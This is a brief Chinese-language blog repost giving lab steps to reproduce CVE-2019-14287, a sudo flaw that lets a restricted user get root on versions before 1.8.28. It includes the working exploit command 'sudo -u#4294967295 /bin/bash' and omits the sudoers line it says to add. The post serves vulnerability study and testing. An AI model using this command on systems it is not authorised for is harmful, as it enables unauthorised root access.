标签:sudoer 测试 漏洞复现 user nta root linu ima bsp
1:查看测试机sudo版本号,确认是受影响版本。
2:创建账号test
3:进入/etc,备份一下sudoers到/root,然后修改sudoers内容,添加:
4:登录test账号,
sudo -u#4294967295 /bin/bash
1.8.28之前的Sudo版本会受到影响。
=======================================
参考链接:
https://www.sudo.ws/alerts/minus_1_uid.html
https://mp.weixin.qq.com/s/bb6Hd3JdYiLilqdP_-INtA
https://mp.weixin.qq.com/s/1-WQSiB1Yc_sPYh928TXkw
(CVE-2019-14287)-linux sudo root 权限绕过漏洞复现
标签:sudoer 测试 漏洞复现 user nta root linu ima bsp
原文地址:https://www.cnblogs.com/SzSecNote/p/11679345.html